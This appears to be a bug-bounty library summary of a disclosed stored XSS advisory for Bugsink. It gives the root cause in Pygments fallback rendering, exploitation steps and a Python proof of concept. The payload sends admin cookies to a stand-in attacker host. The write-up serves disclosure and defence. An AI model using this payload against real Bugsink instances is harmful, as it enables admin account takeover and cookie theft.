# Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

Unauthenticated event submission to Bugsink stores JS in stacktrace context lines; Pygments line-count mismatch fallback returns raw lines through mark_safe, executing on admin view.

- Payout: Research
- Severity: critical
- Program: Bugsink
- Found by: ByamB4
- Disclosed: 2026-02-25
- CVE: CVE-2026-27614
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vp6q-7m36-pq3w
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vp6q-7m36-pq3w
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:xss

**Target:** Sentry-protocol event ingest endpoint and stacktrace rendering template tag
**Root cause:** When Pygments returns a different line count than input (Ruby heredoc input), _pygmentize_lines() returns raw unescaped lines, which are then passed through mark_safe() unconditionally.
**Steps:**
1. POST a Sentry event to `/api/<project-id>/store/` with header `X-Sentry-Auth: Sentry sentry_key=<dsn-public-key>, sentry_version=7`
2. Set frame filename `app.rb` with pre_context `["<<~HEREDOC", "  foo", "HEREDOC"]` to trigger the Pygments line-count mismatch
3. Put payload `<img src=x onerror=fetch('//attacker/?c='+document.cookie)>` in context_line
4. Admin opens the event Stacktrace in the Bugsink UI; JS executes and exfiltrates cookies
**How found:** Noticed Pygments can return more lines than given (upstream quirk with Ruby heredoc input), traced the fallback path returning raw lines and the unconditional mark_safe() applied to them.
**Exploitation:** Attacker with a public DSN submits a crafted event; payload persists in DB until an admin views the stacktrace, then executes with admin privileges in Bugsink.
**Insight:** When a syntax highlighter's output length is validated against input, the mismatch fallback path often skips escaping; Ruby heredoc syntax is a reliable trigger for Pygments line-count divergence.

## Proof of concept (copied exactly from the original report)

**Sentry event POST with XSS payload in stacktrace**

```
import requests

payload = {
    "exception": {"values": [{"stacktrace": {"frames": [{
        "filename": "app.rb",
        "lineno": 2,
        "pre_context": ["<<~HEREDOC", "  foo", "HEREDOC"],
        "context_line": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>",
        "post_context": []
    }]}}]}
}

requests.post(
    "http://bugsink-host/api/<project-id>/store/",
    json=payload,
    headers={"X-Sentry-Auth": "Sentry sentry_key=<dsn-public-key>, sentry_version=7"}
)
```

